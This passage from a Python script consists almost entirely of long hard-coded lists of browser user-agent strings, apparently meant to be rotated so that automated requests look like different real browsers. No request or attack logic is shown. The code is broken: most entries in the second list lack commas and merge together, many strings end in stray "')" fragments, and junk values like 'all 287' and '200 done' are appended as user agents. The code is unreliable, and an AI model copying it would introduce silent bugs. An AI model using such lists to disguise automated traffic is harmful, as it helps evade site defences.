headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322') headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)') headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)') headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)') headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)') headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)') headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (X11; Linux i686; rv:1.7.5)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)') headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)') headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3; Linux)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)') headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.2; Linux)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)') headers_useragents.append('all 287') headers_useragents.append('200 done') return(headers_useragents) useragents = [ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)", "Googlebot/2.1 (http://www.googlebot.com/bot.html)", "Opera/9.20 (Windows NT 6.0; U; en)", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)", "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0", "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16", "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13", "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)", "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')" "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')" "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')" "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')" "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')" "Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')" "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')" "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')" "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')" "Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')" "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')" "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')" "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')" "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')" "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')" "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')" "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')" "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')" "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')" "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')" "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')" "Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')" "Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')" "Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')" "Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')" "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')" "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')" "BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')" "Googlebot/2.1 (http://www.googlebot.com/bot.html)')" "Opera/9.20 (Windows NT 6.0; U; en)')" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')" "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')" "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')" "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')""Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')" "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')" "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')" "Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')" "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')" "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')" "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')" "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')" "Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')" "Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')" "Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')" "Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')" "Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')" "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')" "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')" "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')" "Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')" "Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')" "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')" "Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')" "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')" "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')" "Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')" "Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')" "Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')" "Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')" "Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')" "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')" "Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')" "Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 